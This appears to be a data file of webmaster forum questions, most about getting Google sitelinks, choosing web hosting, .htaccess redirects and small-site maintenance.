{"id":"35236","title":"Hotel Reservation Request Booking Paypal PHP","text":"I'm making a website for a small hotel in php. The hotel owners want a reservation system that uses paypal. They want people to see a calendar and choose a date to make a reservation. If the day has vacancy, they want the user to request booking a room. This would then require the hotel owner to accept the purchase. I have not worked on a project that has this \"request to purchase\" method of buying with paypal. Is this possible? Does anyone know of an open php system that handles this?"}
{"id":"35540","title":"How to backup a dev & QA folder website structure?","text":"A site I just became in charge of uses a really simple two folder structure to host the dev site and the QA site. The sites are hosted on the company servers so I just have the sites' folders mapped on my desktop. I would like to run some kind of backup scheme, but I am finding it hard to think of a way to do this effectively. The problem is that we aren't using any revision control software, and since the servers aren't controlled by me, I don't think I will be able to implement anything like that. Or could I? The entire site is static too, so no DB's or anything besides html, images, PDFs, etc."}
{"id":"35238","title":"How can I redirect all files in a directory that doesn't conform to a certain filename structure?","text":"I have a website where a previous developer had updated several webpages. The issue is that the developer had made each new webpage with new filenames, and deleted the old filenames. I've worked with .htaccess redirects for a few months now, and have some understanding of the usage, however, I am stumped with this task. The old pages were named like so: www.domain.tld\/subdir\/file.html The new pages are named: www.domain.tld\/subdir\/file-new-name.html The first word of all new files is the exact name of the old file, and all new files have the same last 2 words. www.domain.tld\/subdir\/file1-new-name.html www.domain.tld\/subdir\/file2-new-name.html www.domain.tld\/subdir\/file3-new-name.html ect. We also need to be able to access the url: www.domain.tld\/subdir\/ The new files have been indexed by google (the old urls cause 404s, and need redirected to the new so that google will be friendly), and the client wants to keep the new filenames as they are more descriptive. I've attempted to redirect it in many different ways without success, but I'll show the one that stumps me the most RewriteBase \/ RewriteCond %{THE_REQUEST} !^subdir\/.*\\-new\\-name\\.html RewriteCond %{THE_REQUEST} !^subdir\/$ RewriteRule ^subdir\/(.*)\\.html$ http:\/\/www.domain.tld\/subdir\/$1\\-new\\-name\\.html [R=301,NC] When visiting `www.domain.tld\/subdir\/file1.html` in the browser, this causes a **403 Forbidden error** with a url like so: www.domain.tld\/subdir\/file1-new-name-new-name-new-name-new-name-new-name-new-name-new-name-new-name-new-name-new-name-new-name-new-name-new-name.html _I'm certain it's probably something simple that I'm overlooking, can someone please help me get a proper redirect? **Thanks so much in advance!_** _**EDIT_** I've also got all the old filenames saved on a separate document in case I need them set up like the following example: (file(1|2|3|4|5)|page(1|2|3|4|5)|a(l(l|lowed|ter)|ccept)"}
{"id":"48581","title":"How to handle clients who want to add duplicate content to their sites","text":"I have some clients who are requesting that I put pages on their websites that amount to duplicate content. One wants the exact same page on two of their websites. Another wants to put content from a brochure they have some right to reprint or distribute on their website. But the same brochure content is already online at the original author's website. I explain to my clients the possible consequences of publishing duplicate content to the web, such as the page will not be indexed by search engines or their web site may be penalized. But I really want to offer them alternative solutions. The obvious one is to link to the content on the original author's website if that is possible. Does anyone have any other strategies for dealing with client requests to put duplicate content on their websites?"}
{"id":"53865","title":"3rd party site using our Google Analytic tracking code, show can we block it?","text":"A 3rd party has stolen our site and is running it for there own purposes, they have also not bothered to change the Google Analytics tracking code, so there site is now skewing our data, is there a way we can block \/ disassociate their site from impacting on our Google Analytics data ?"}
{"id":"11540","title":"Text files vs. text in database","text":"I'm designing a new site, deciding whether to keep the bulk of the content for each page in a text file, with just the file name in a database record for that page, or to keep the entire text in the database record as a string. The text is typically a few hundred to a few thousand words, with embedded markup to include photos or whatever, to be processed in PHP before being sent out as html. I don't find enough enlightening discussion of this design choice online. What are the pros and cons of each way? The advantage of text files, I imagine, is easy access to the file by ftp or other means, making fixing typos or editing the material easy w\/o having to fuss with the database at all. OTOH, keeping it directly in the db means I won't have to bother learning how to read text files in PHP 8P Seriously, what implications are there for maintaining the site, security, efficiency, and aspects I'm not thinking of?"}
{"id":"11541","title":"Why is \"mac\" disallowed in microsoft.com\/robots.txt?","text":"At http:\/\/www.microsoft.com\/robots.txt, why are there entries like: Disallow: \/*\/mac\/help.mspx Disallow: \/*\/mac\/help.mspx? Disallow: \/*\/mactopia\/help.mspx? .... Could there be a real reason to not allow spiders to index those pages or is it something nefarious?"}
{"id":"503","title":"What are the most important things I need to do to encourage Google Sitelinks?","text":"My website used to have sitelinks and now it doesn't. It's very possible that it's due to changing the website to a sidebar design instead of having an \"interstitial\" type landing page which limited the number of choices, but I'm not sure. Here is how sitelinks might look for a site:  What are some things that I can do to improve my chances of getting sitelinks?"}
{"id":"18547","title":"How to best format your HTML to help Google display your websites navigation with the search result for your site in Google Search?","text":"> **Possible Duplicate:** > What are the most important things I need to do to encourage Google > Sitelinks? Look at the first result for \"smashing magazine\" in the image below. See how Google grabbed SM's site navigation and displayed it below their search result? Are there any techniques that would help Google display the navigation like this? Are there any suggestions as to how to structure your HTML to help Google create this for your website's search result? Or in general, the best way to structure? Tricks of the trade? etc.? "}
{"id":"26908","title":"How to get grid view presence in google search of my website as shown in google search for “twitter”?","text":"> **Possible Duplicate:** > What are the most important things I need to do to encourage Google > Sitelinks? I have my website live and it is visible in google search but I want it to be displayed in a grid view as shown in google search of key word for example \"twitter\". Can someone guide me how to make this happen?"}
{"id":"61307","title":"Google sitelinks","text":"How can I get Google to display sitelinks under search results when my website shows up? When my website shows up in position 1 which it does for a couple of keywords it displays sitelinks, but whenever we show up in any other position than the first one, we don't have any sitelinks displayed at all. I know it's not a matter of just being in the top position or not because I see sites all the time that are in any number of position in the search results and occasionally I'll see a site that has sitelinks even though they're like half way down page 3 or something.. "}
{"id":"68588","title":"How to show differnt page in same serp result","text":" How to Show Different Page heading On Same result page form one website i have seen so mant result like this like in a picture #any tutorial or resources"}
{"id":"44308","title":"SEO - be first and Get my own company section in google for my company name","text":"I want my company name to be first in Google when I search for it, since it is a unique name. I also want it to have its own \"section\" with sub-links of the \"about page\" \"product page\" \"contact us\" page like any other big companies have. For example, if I type any other big company, I get their website on the top row, but it also has sub-links of the \"contact us\" , \"about us\" and more...  When I search my company name in Google, I get two full search pages with my company name but all of them are from other sites that took my details from somewhere. **None of these links are my site pages!** I already read articles about \"keyword significance\" and \"crawl errors\" and most of the webmaster tools, but did I miss something else? How do I gather my site pages under my site link in Google? Is there a configuration for that?"}
{"id":"49966","title":"How to customize website for Google first search Result?","text":"I don't know what is terminology used for following examples. I want to customize my website so when user search it on internet and it will return result look like following example for first search result.  * * * "}
{"id":"60680","title":"Google Search Results: sub-page description","text":"I have a Wordpress site that successfully has 6 sub-pages listed below the main result in Google. However a page content snippet is showing up or each instead of the sub-page meta descriptions. I have verified in the page source that the meta descriptions are being successfully inserted by my SEO plugin. How can I define the sub-page descriptions?"}
{"id":"52031","title":"How to Make google Show My website pages in the way I want","text":"Let us take an exapmle of ebay.  As you can see in image when I search for ebay it also shows subpages like Deals,GlobalEasybay and etc..For my site also this happens but the problem is that I don't have any control over it.It displays random sub-pages.My First question How I can control this. Second You can see on the right column of my screenshot ,there is a nice presentation on ebay with a picture and rescent posts...How I can make something like this on my website?"}
{"id":"55814","title":"How can my site show up on Google with last post date and secondary links?","text":"How does one build a site to show up like this in the Google search results? "}
{"id":"57308","title":"SEO for Google: navigation, company info, video","text":"I often stumble upon search results in Google that get a special treatment, like: * having the site navigation (and more) being displayed on the search results page  * having a company's location, contact information, Google reviews and e.g. opening hours being displayed aside the search results  * having a video thumbnail being displayed with the search result and the navigation structure being displayed instead of the blank URL (`giga.de` > Deals)  I'm building a website for my (nationally pretty well known) choir but have not been into search engine optimization, yet. There's many blogs and documents on that topic. But what I want is that special behavior described above. Can you tell me how I can reach that? Or are there any documents that deal with these (and more?) special Google features?"}
{"id":"60875","title":"How to show my links in structured way like Amazon do","text":"Can you please tell me how links like `Books` `EC2` appear in search results associated with Amazon.com? How can I do similar with my site's main section? "}
{"id":"22430","title":"How to hide pages from Google crawler?","text":"> **Possible Duplicate:** > What are the most important things I need to do to encourage Google > Sitelinks? I'm currently working on a website and need to keep certain pages hidden from Google crawler. How to make it so that search engines see only what I want them to see in a directory? Also, you know how Google results also give you shortcut links, Like 'Login', 'About' etc... how to put these links to search result?"}
{"id":"61682","title":"Google places links and info with my search results","text":"I had set up a google+ page a while ago and also crated a places page. I'm wondering how I can integrate this into my search results (An example shown in the attached screenshot). I'd like the additional pages, google+ links and map showing up on the side. I cannot for the life of me find how I would go about this. I assumed it was automatic, but after some time I have come to the conclusion that it must require some additional input from my end. Many thanks "}
{"id":"978","title":"How to get Google to display navigation?","text":"> **Possible Duplicate:** > What are the most important things I need to do to encourage Google > Sitelinks? How do I get Google to display the navigation for my site like it does for others? For example, take the search results for **'Microsoft'** :  How do I get my site to display navigation like that? It's already the first entry for certain keywords."}
{"id":"19518","title":"Can I control the Google sitelinks for my website?","text":"> **Possible Duplicate:** > What are the most important things I need to do to encourage Google > Sitelinks? Working on SEO for a website, and i'm wondering if there's a way to have some say in which sub-links appear under the first entry when you google the website's name. (i.e. when you google \"amazon\" there are 6 sub-links including \"books\", \"music\", \"your account\", etc. under the entry). Currently if I google my site those 6 links include a couple of random pages as well as the Privacy Policy and Terms of Service which are only linked to in the footer, but several of the main sections of the site that are linked to in the top menu are left out. (I say the pages it chooses are \"random\" because they don't correspond to the most-viewed based on google analytics, and I don't think special SEO-wise to make them stand out) Is there a way to choose or at least influence what these sub-links will be? Edit - What I call sub-links above are known as sitelinks (and are well documented in Google's Webmaster Tools, as Michael pointed out)."}
{"id":"42439","title":"Unique search engine results","text":"> **Possible Duplicate:** > What are the most important things I need to do to encourage Google > Sitelinks?  How do i get those kind of result? With Categories below the main result. What is it called. i want to do as the picture. thanks in advance!"}
{"id":"47982","title":"Display major links in Google","text":"I am wondering how some websites get their sublinks too displayed on Google. For example when I enter \"accenture\" on Google apart from the main link (which is common) look at the links \"Graduate Careers at accenture\", \"Accenture careers\" etc. How can I display my other pages too on Google just like this way. Also when somebody enters my business name how can I display my map on Google just like the below screenshot. Check the screenshot here. Sorry I don't have reputation 10 to post image. :( http:\/\/i.stack.imgur.com\/fZFkv.png"}
{"id":"29411","title":"How to add menu on google search result?","text":"> **Possible Duplicate:** > What are the most important things I need to do to encourage Google > Sitelinks? I want to ask how to make menu on google search result.E.g : when you search on google with keyword : Google community and found www.stackoverflow.com, there are list of link below,those are Forums,Register Now,Members List,etc. How to make this menu in my website. For example: "}
{"id":"25590","title":"How do we get our sites' sections displayed under the description in a Google search?","text":"> **Possible Duplicate:** > What are the most important things I need to do to encourage Google > Sitelinks? For Example, if I Google \"Stack Overflow\" the site comes up but also links to the main sections of the site right beneath it (Login, Questions, Careers...)  How can I achieve this with my own site? Thanks!"}
{"id":"35738","title":"Google Site Links","text":"How can I get google sitelinks?"}
{"id":"50877","title":"How does Google determine important links on a website to display in search results?","text":"Sometimes when I search for something on Google it shows some results (website links), but it also shows some important links on that website. Is it a feature of the website or does Google use something to find those main links of the website? Is it related to search engine optimization?"}
{"id":"58164","title":"Multiple Pages in Google Results","text":"I've got what I would have thought would be a pretty widely discussed problem but I cant seem to find an answer anywhere. This is more of a SEO question, but also relates to general HTML structure. I'm trying to get all of the pages in a site to to appear under one result in Google (preferably displaying the sub-pages underneath). I realise I can use robots.txt to block the index from viewing the other pages, but am I right in thinking the keywords in those pages will no longer contribute search ranking? Edit: I should add that at the minute each page shows as a different result, which is annoying as the home page isn't first! I have in the head section of every page (minus the JS and extra style sheets): XXXXX<\/title> <link rel=\"shortcut icon\" href=\"\/favicon.ico\" type=\"image\/x-icon\"> <meta name=\"description\" content=\"XXXXX\"> <meta name=\"keywords\" content=\"XXXXX\"> <link type=\"text\/css\" rel=\"stylesheet\" media=\"all\" href=\"style.css\"> <\/head> Perhaps I'm wrong in thinking I should have this on every page? If anyone could shed some light on this I'd really appreciate it!"}
{"id":"45424","title":"Regarding sitelinks in google search","text":"I would like my site to display additional site links when preforming a Google Search.. How can this be achieved?"}
{"id":"56395","title":"From where does Google gets these links","text":"I'm just about to optimize a website. Now I would like to know from where Google obtains these links:  Why? I also want some links to appear on the search-result for my homepage"}
{"id":"61555","title":"Why do some websites have extended search results in google?","text":"Like this site:  What does the site do to look like that?"}
{"id":"67795","title":"How to make a certain page of a website rank before others on the same website?","text":"If I search for \"cnn news\" on Google, it appears as in the attached. 1) If I wanted the search term \"cnn news\" to make the CNN Student News appear first, would my best bet be to get anchor link text in a backlink such as `<a href=\"http:\/\/www.cnn.com\/studentnews\/\">CNN News<\/a>` ? 2) I'm unclear as to how Google decides which page to use as the main link and then display all the sub-links under it (as in the attached pic). I hypothesized that it's the anchor link text in backlinks that makes the most difference but I'm not sure. Any tips would be appreciated."}
{"id":"9090","title":"how to display menu of site in google results","text":"> **Possible Duplicate:** > What are the most important things I need to do to encourage Google > Sitelinks? my site is first in google if you type ' _עו\"ד מימון כהן_ ' or ' _maimon cohen lawyer_ '. I want to display menu index of the site in google, like this :  how to do it ?"}
{"id":"50142","title":"how do we organize our site's (navigation) pages in Google search?","text":"**Is there a HTML technique for organizing my site's main pages in Google (navigation)? Or is it made by a Google's specific tool for creating a result layout like in this picture?**  **Look at the difference of the results for my site:** "}
{"id":"20936","title":"How to organize your site on google like amazon?","text":"> **Possible Duplicate:** > What are the most important things I need to do to encourage Google > Sitelinks? I don't know the name of this feature neither how to search it on google. But I would like my website to be shown like this: http:\/\/jode.com.br\/Joe\/amazonongoogle.png I have full access to the site and the tools of google to this site. thanks"}
{"id":"9908","title":"Formatting Google Search Result","text":"> **Possible Duplicate:** > What are the most important things I need to do to encourage Google > Sitelinks? Hello, I am new to search engine optimization. I am working on customizing how my results appear in Google as best as possible. I have learned about the meta tags to customize the text summary. However, I have some hierarchical parts to my website. When a result appears related to the \"tip-of-the-iceberg\", I would like to show links related to the \"child\" pages. For instance, if you Google \"Walmart\" you will see the following links listed with the result: * Electronics * TV & Video * Departments * Furniture * Toys * Girls * Living Room * Computers Is there any way that I can help Google determine which links to show and the text to display for these child links on my site? Or is this something that Google automatically generates? thanks!"}
{"id":"55873","title":"Having Google structure my search result","text":"My question is fairly simple: How do I customize my Google Search result so when it comes up in Google, it gets this kind of fancy result that lets an user navigate my website directly from the results? This is what I'm talking about:  How do I make Google make my result like that?"}
{"id":"18443","title":"How are Google Site links generated in search results?","text":"> **Possible Duplicate:** > What are the most important things I need to do to encourage Google > Sitelinks? I just met a fellow designer who runs a website with the same pagerank as mine. When googling both our names, search results will show Site links below his website, but not mine. Do you know which attributes are handled by Google to define when and how these links are shown in search results?"}
{"id":"67965","title":"Choose which pages appear in Google search results snippet?","text":"I was wondering sometimes, the first result in Google's results has a list of pages (in the website) below the title of the search result. Is this something I can force Google to do, with some sort of HTML tags? Or does Google just do it automatically, when it feels like it?"}
{"id":"27490","title":"How to make Google show my site in search result like the following image?","text":"> **Possible Duplicate:** > What are the most important things I need to do to encourage Google > Sitelinks? Currently Google is displaying my site (http:\/\/layzend.info) like this in search result, only the link and meta description without any internal page links -  But I want to be the search result like the following where the internal links are also displayed -  How is it possible? Please help me to make my site more SEO friendly."}
{"id":"54942","title":"Will using page headings (h1, h2, h3 etc) as internal links encourage Google sitelinks?","text":"I am trying to change my site's page headings to better emphasize the structure of the page's content hierarchy. I am hoping this will encourage Google Sitelinks and list snippets. Current headings are not optimized: I would like to use the `<h2>` heading as an internal link. Will this encourage Google sitelinks and better content indexing? <h2><a href=\"Example.com\">text<\/a><\/h2>"}
{"id":"67816","title":"how to show my site Homepage with page link","text":"How to show my site like below in Google search result. please help me. even my Site Homepage is not showing properly in Google search result. **1st Pic:** I want to show my site in Google like this. **2nd Pic:** Currently My site showing like this way. **Pic 1:**   **Pic 2:**"}
{"id":"11545","title":"Video for an ad-driven website","text":"I have a website, which i will fill with a bunch of useful videos. I've implemented an ads rotation engine for articles and will do so for videos. The next milestone is to decide how video will be integrated. They are two ways: 1. To host videos myself. Pros: complete freedom. Cons: need tens of gigabytes of storage; support for multiple formats to be cross-browser and cross-device. 2. Use YouTube. Pros: Very simple to use; nothing to do. What are pros and cons for each way? Some questions for YouTube: 1. Will I be able to control playback of YouTube-embedded video to make post-rolls ? 2. What is ranking impact on my web-site, when most of pages will refer to YouTube ? 3. Will, say, iPad play video, embedded via YouTube's iFrame ? 4. Does relying entirely on YouTube have a long-term perspective for a web-site, that should bring money ?"}
{"id":"11548","title":"issue with wordpress theme background on widescreen computers","text":"I am using the theme \"irresistible\" and I wanted to a add a picture of the person for whom I am building the site. Normally the background CSS uses repeat, but I don't want their picture to repeat i just want it all the way on the left side body.woothemes { background: #18191b url(images\/bg.jpg); background-repeat:no-repeat; background-position:left top; color: #e9e9e9; font-family: Arial, Helvetica, sans-serif; font-size: 12px; line-height: 18px; } http:\/\/romesmooth1.jerseygetonline.com\/ It doesn't repeat in Internet Explorer, but repeats in Firefox. In both it looks fine in a normal on a 17in LCD but not on a wide screen."}
{"id":"55293","title":"SEOquake is not recogonizng microformats","text":"I generated Rich snippets (for organization) microcode for one of my websites, using instructions like https:\/\/support.google.com\/webmasters\/answer\/146897?hl=en http:\/\/en.wikipedia.org\/wiki\/Microformat Problem I have is that Microformat is not recognized by tools like SEOquake. Can you help me how to generate microdata in proper format?"}
{"id":"5989","title":"Plugin to back up a Wordpress (version 2.2.1) site?","text":"Which Wordpress plugin would you recommend to someone with only basic PHP and MySQL skills to back up a quite large WP (engine version 2.2.1) site as safely as possible? The backup should allow redeploying the site with\/to an updated, clean install of the WP engine."}
{"id":"5982","title":"Wordpress vs Clean html\/css","text":"When it comes to designing\/coding presentational websites, with static content and few pages.. let's say, between 5 and 20. Would you go with wp, design a custom theme and update with content, or would you code from scratch a clean html\/css eventually + some js ? For now, since I'm just stepping into web development, I see wordpress as a complex cms that loads slow in my browser.. **EDIT:** I suppose a page generated with wordpress would load slower than a page that looks the same coded from scratch. Please help me find the pros\/cons of both. How about seo\/indexing? Is it worth learning wp for designing presentational websites ? P.S. I'm asking this because a lot of my friends, who are a bit more experienced than me, tend to recommend using wp because clients like it and it's easy, but I'm not sure yet. When It comes to you, what would you prefer and why ?"}
{"id":"5980","title":"SEO HTML for plain html css website","text":"This isn't really a programming question, but I couldn't think of a place where people can better answer my question then here. I allways had a joomla website, for me it's good, but it's not very flexible. My question is: In joomla you have some great SEO tools, like labeling or tagging your articles. I'm planning to make my own css\/html based website without a cms behind it. Does anyone knows a labeling\/tagging script whichcan be used for \"normal\" html\/css based websites without for example joomla?"}
{"id":"5986","title":"Thoughts on this approach for a news post caching system?","text":"I'm working on a website which uses \/news\/title-of-news-article--111.html (111 = unique ID of the news article). I was thinking it might be a good idea to have some form of a caching system for the news articles. Essentially, my idea would be to have a .html version of the news article (i.e. just the news part that's dynamically generated) be created when it was marked live (making it so visitors and search engines can see it). The .php script that displays the content would check to see if a .html file with the news id exists, and would use that instead of querying the database. Of course, if the .html file didn't exists for some reason, it would fall back to querying the database like the site currently does now. Any issues you guys see with that approach? This is meant more for when a ton of visitors view a news article, since ideally I'd assume grabbing a \"static\" .html file is better on the server and the database than querying."}
{"id":"19","title":"Is there a better analytics package than Google Analytics?","text":"I've used Google Analytics for a while now, and it's pretty good for a high level view. But when I want to dig into the numbers a bit more, everything gets kind of vague. I also don't like that it takes so long to update. Are there any better options?"}
{"id":"45570","title":"Solution for tracking lead generations and share data with partners","text":"I need to implement a lead generation feature on a website. Technically I understand how it works (e.g. `Javascript` script associated with the `onlick` event of a button which sends data about the user to a tracking system before triggering the action, such as redirecting user to another website, revealing an email address or phone number...) however what I need is a tracking system which my partners will trust and with which I can share the collected data. I know one can use `Google Analytics` to track actions (such as lead generation) but the problem is that the data sharing features of `GA` are too limited: I can only decide which profiles (i.e. websites) a user can see, but not what for that profile (so it's all or nothing). **Does anybody know about a web analytics solution which match the following criteria?** -allows tracking click events (similar way as `GA`) -enables me to share analytics about 1 particular tracking code only with another user -is free (ideally) -is used by a few big names so that my partners will trust it (ideally)"}
{"id":"25063","title":"Any solutions for transferring media between Mobile Clients","text":"Please bear with me as I am a complete beginner at this but looking to learn. I am looking for a service or any advice in a solution to transfer media from Mobile to Mobile. Say I want to send a picture from my cell phone to yours through a server, when that picture is received the data does not persist on the server. Is there any server that accomplishes this or are is there a server setup\/configuration that exists to do this? Thank you so much and my apologies if this is the wrong place to post this. Between Stack Overflow, Serverfault and this site. I had no idea which one was the proper place for such a generic question."}
{"id":"43879","title":"How to solve 503 issue","text":"I'm participating in a web project. It's a Joomla web page and it's gained a lot of visitors in the past months. Actually we are receiving donations each year to pay site's hosting and domain. The concurrence now is extremely high and we don't really want to use advertisement as business model 'cause a philosophy matter. We can not afford a dedicated server 'cause we are a non- profit community. So my question is: Is there any way to solve 503 issue because of the high concurrence without migrating to a more expensive hosting plan ? Can I place the site in different hosts or something cheaper ? Thank you very much."}
{"id":"43878","title":"Do long geographic lists \"we cover these towns\" work or are they penalised by Google?","text":"Some small business type websites list their geographic areas covered, often crudely listing 30 or 40 towns, and then a big list of postcode areas. Here's an example for skip hire: http:\/\/nottinghamskip.com\/skips-delivered-nottingham-mansfield  Obviously you want to match for people searching: > \"skip hire Swadlincote\" Probably this practice did once work. Does it still, or does it get penalised?"}
{"id":"25065","title":"Migrating Google Accounts into Google Apps","text":"My company wants to migrate all email and cloud work to Google Apps for Business. We currently have a Google account, however, with our domain appended to the user name. It's my understanding that Google no longer allows setting up accounts like this, and forces a `*@gmail.com` address. So, in this case, we already use `webguy@example.com`. In a previous case where I have migrated to Google Apps in the past, if you set up your account with domain `example.com`, any existing Google accounts with that domain are either smitten or forced to choose new user names. We would like to continue to use `webguy@example.com`, but it's not as simple as exporting email, calendar, and docs, as we also have our AdWords, Analytics, and AdSense accounts tied to this username. So ultimately the question is if anyone knows how to migrate this one account straight into the Google Apps for Business domain either before or once it's set up?"}
{"id":"20838","title":"How to find web hosting that meets my requirements?","text":"_This is a \"catch-all\" question designed to serve as an answer for all questions about choosing web hosting. Pro Webmasters no longer accepts new questions about how to choose hosting. All future questions pertaining to finding web hosting should be closed as a duplicate of this question. For more information about this policy please seethis meta question._ * * * **How to find web hosting that meets my requirements?** What we're looking for in answers to this question are the basics about web hosting: * What is web hosting? * What is the difference between shared, VPS, and dedicated hosting? * How does a content delivery network relate to web hosting? * Anything else you feel is helpful in finding a web host. What we do not want is: * Endorsements or recommendations for specific web hosts * We do not want your experience or other subjective information (just the facts please)"}
{"id":"56206","title":"VPS and hosting","text":"NO this is no duplicate of the above. My question is very specific to VPS and is not solely related to hosting but also to virtual desktop and such. The above barely writes 2 lines about VPS and never speak of virtual desktop needs. **CASE:** I'm going to upload a (small) symfony2 website soon. I plan to create another one after and maybe a little wt app ( which forces me to have a vps ). I also would like to have a 100% uptime virtual desktop + storage available from anywhere. for symfony2, I need to be able to manage apc pecl cache extension at the very least. For wt I need root access to compile and run c\/c++ code and play with apache. **Questions:** * When it comes to VPS, price differences are huge for similar \"front\" characteristics. Why ? * Given my needs ( website traffic should never exceed 100 dudes daily ). What should I look for ? ( CPU, RAM[guaranteed?], Bandwidth ) Basically I'm looking for one or two guys that have experienced professionally a few VPS and PHP-hosting solutions, and be advised about everything I ask... and did not ask !"}
{"id":"65568","title":"What dedicated server is for $8 each month?","text":"What dedicated server is for $8 or less each month and has at least 512MB ram?"}
{"id":"47162","title":"What are my options for a hosted vps service with shell access?","text":"Disclaimer (some folks marked this question as a duplicate): I DO NOT want suggestions for things like a hosted wordpress providers, nor am I asking what web hosting is. This question is not a duplicate of: How to find web hosting that meets my requirements? -- I just want suggestions from other technologists about viable alternatives. I've heard about linode which sounds promising. I'd like recommendations for specific web hosts that provide VPS hosting providing a lot of control over the machine (like linode). I want to install packages such as: tmux, python 2.7, a java runtime, node.js runtime, mysql, memcached, in-memory queuing libraries, etc. In short, I want an \"always on\" machine for doing personal development projects, which may lead to commercial purposes in the future. Some specifics and tools I'm looking for are: * cheap! (personal use for now $0 - $30\/mo) * shell access (sudo access for package management on my own host VMs) * control over dns * ability to alter cpu\/memory\/disk resources as needed (depends on the project) * Centos 6.x (or other linux OS that plays nice with AWS) Some web searching led me down a rabbit hole (and annoying sales\/marketing pitch). A small list of hosting providers meeting the above criteria and some comparison of them from technologists would clarify the info I need to make an informed decision."}
{"id":"15501","title":"Need a host which supports OSQA","text":"> **Possible Duplicate:** > How to find web hosting that meets my requirements? Hi i'm looking to install OSQA and see how it goes I have a great niche which I think may work real well, but till I get a large enough audience I'd like to use shared hosting then move up to a dedicated or vps hosting... Almost all hosts i've looked at don't support something OSQA needs I need relatively cheap shared hosting with cpanel. Any recommendations? It needs to support: * Django * Python markdown * html5lib * Python OpenId * South"}
{"id":"61384","title":"Any suggestions on free web hosting service with your registered domain name","text":"I have registered a domain. I am looking for a free web-hosting service where I can attach this domain name to site hosted on that service. Weebly at one point used to provide this service for free but not anymore. You can still host a site for free on weebly but if you want to use domain name then that's not possible for free ( at least to my knowledge). Can any one point me to any such free service?"}
{"id":"51878","title":"Free Basic Hosting w SSL Certificate","text":"I'm looking for a free hosting provider which provides an SSL Certificate at no additional charge. Does anyone know of a hosting provider which can provide such a service? Thanks in advance, Amani Swann"}
{"id":"11815","title":"Best provider for webinar hosting","text":"> **Possible Duplicate:** > How to find web hosting that meets my requirements? We are looking at running some webinars soon, and I was wondering if you folks had any experience with a service you have been happy with. We are currently looking at using one of the following (but are always up to suggestions): http:\/\/www.megameeting.com\/overview.html https:\/\/www.videoseminarlive.com\/index.aspx http:\/\/www.webex.com\/ We also looked at: http:\/\/www.gotomeeting.com But they seem to not support video at this time. Specifically, we need to be able to provide a live video feed from an instructor (as well as display slides), and accept questions\/discussions from the audience via audio or chat. Of course, it is always good to have a clean interface, and if the system works without installing any software, that is a plus as well. Any thoughts?? --Edited to provide details for system requirements."}
{"id":"34227","title":"Free online PHP hosting","text":"> **Possible Duplicate:** > How to find web hosting that meets my requirements? I have a PHP script that can take $_GET parameters from a URL (i.e. http:\/\/www.example.com\/test.php?name=george). I'd like to be able to host this script online so that others can pass parameters to it to obtain the returned data. Anyone know of a free PHP hosting site that would allow for his functionality? (PS: I can't host it myself) Thanks!"}
{"id":"154","title":"Shared vs. Dedicated Hosting","text":"> **Possible Duplicate:** > How to find web hosting that meets my requirements? What is the difference between shared hosting and dedicated hosting for my website?"}
{"id":"31739","title":"Scalable web-hosting for a youtube-like service (no, not porn)","text":"> **Possible Duplicate:** > How to find web hosting that meets my requirements? My business partner and I are looking for a European web-hosting service (we are situated in Europe). That service needs to be, needs to have: * international servers, a server for each continent at the very least. * a high amount of bandwidth. * highly scalable, since we are expecting to start off small, but as our user base grows so will everything else (again, no porn or phallic jokes) need to do. * a moderate to supreme customer service. * of course a small downtime per annum. * affordable at first, fair as we grow. I think that is all. Any input is greatly appreciated. Thank you in advance."}
{"id":"39898","title":"Which Web Hosting service should choose?","text":"> **Possible Duplicate:** > How to find web hosting that meets my requirements? I was using a web hosting service (no need to mention its name) that causes me a lot of trouble with my code, especially with loading videos, sounds... etc (you can follow one of my issues caused by the FTP server Here), so I decided to change the web hosting. * So depending on what I know; what's the best? * What would you suggest for me? * What do you think about these: hostgator.com, godaddy.com, ipage.com? * Is the location (Place) involved? (I am working on a website for a Middle East company)"}
{"id":"3505","title":"Fast, Cheap, Dedicated Hosting","text":"> **Possible Duplicate:** > How to find web hosting that meets my requirements? I'm looking for dedicated hosting with at least 1GB of RAM that doesn't hurt the wallet too much. Specifically it should have goods speed around the world as well. Suggestions?"}
{"id":"45214","title":"Mac Mini Colocation Usage Case","text":"I'm looking at purchasing colocation services for a Mac Mini with A specialist colocation company - but as of yet I have no experience with OSX Server for hosting websites. I'm looking for a less involved way of hosting up to 80 small (1-20 page, <1000 daily hits) WordPress websites for my clients. All of the websites use caching aggressively. Does anyone have any experience using OSX Server for WP hosting \/ any ideas as to how many sites it can comfortably (ie minimal loss of speed) handle? My intention is to purchase one with an i5 processor and 16GB of RAM."}
{"id":"54034","title":"Hosting of static content without server, only through CDN","text":"My content is fully static, using only HTML, CSS, JS. It's only one page, which needs to load really fast from any country, and should be online for only 3 months. I already have the domain name. I just need a CDN where I would keep my HTML, CSS, JS and image files, to be served really fast in Japan, China or USA. Do I still need to have a web server? Do CDN provider also offers simple hosting?"}
{"id":"30180","title":"What now... Godaddy host not support charting in asp.net","text":"> **Possible Duplicate:** > How to find web hosting that meets my requirements? I was going to use the asp.net charting with Visual Studios 2008 but GoDaddy hosting does not support the charting cause they won't install the component. So what are my options for charting\/graphs for data? Looking for free if possible. Is Telerix the best?"}
{"id":"11248","title":"What are the options for hosting a small Plone site?","text":"> **Possible Duplicate:** > How to find web hosting that meets my requirements? I’ve developed a portfolio website for myself using Plone 4, and I’m looking for someplace to host it. Most Plone hosting services seem to focus on large, corporate deployments, but I need something that I can afford on a very limited budget and fits a small, single-admin website. My understanding is that my basic options are thus: 1. I can go with a hosting service that specifically provides Plone. I know of WebFaction, but what others exist? Also, I’d have two stipulations for a Plone hosting service: (a) It needs to use Plone 4, for which I’ve developed my site, and (b) it needs to allow me SSH access to a home directory (including the Plone configuration), so that I may use my custom development eggs and such. 2. I could use a VPS hosting service. What are my options here? Again, I need something cheap and scaled to my level. 3. I could use Amazon EC2 or a similar service (please tell me of any) and pay by the tiniest unit of data. I’m a little scared of this because I have no idea how to do a cost-benefit analysis between this and a regular VPS host. The advantage of this approach would be that I only pay for what I use, making it very scalable, but I don’t know how the overall cost would compare to any VPS host under similar circumstances. What factors enter into the cost of Amazon EC2? What can I expect to pay under either option for regular traffic for a new website? Which one is more desirable for when a rush of visitors drive up my bandwidth bill? One last note: I know Plone isn’t common for websites for individuals, but please don’t try to talk me out of it here; that’s a completely different subject. For now, assume I’m sticking with Plone for good. Also, I have seen the Plone hosting services list on Plone.org—it’s twenty pages long, and the first page was nothing but professional Plone consulting services that sometimes offer hosting for business clients. So, that wasn’t much help. Thank you!"}
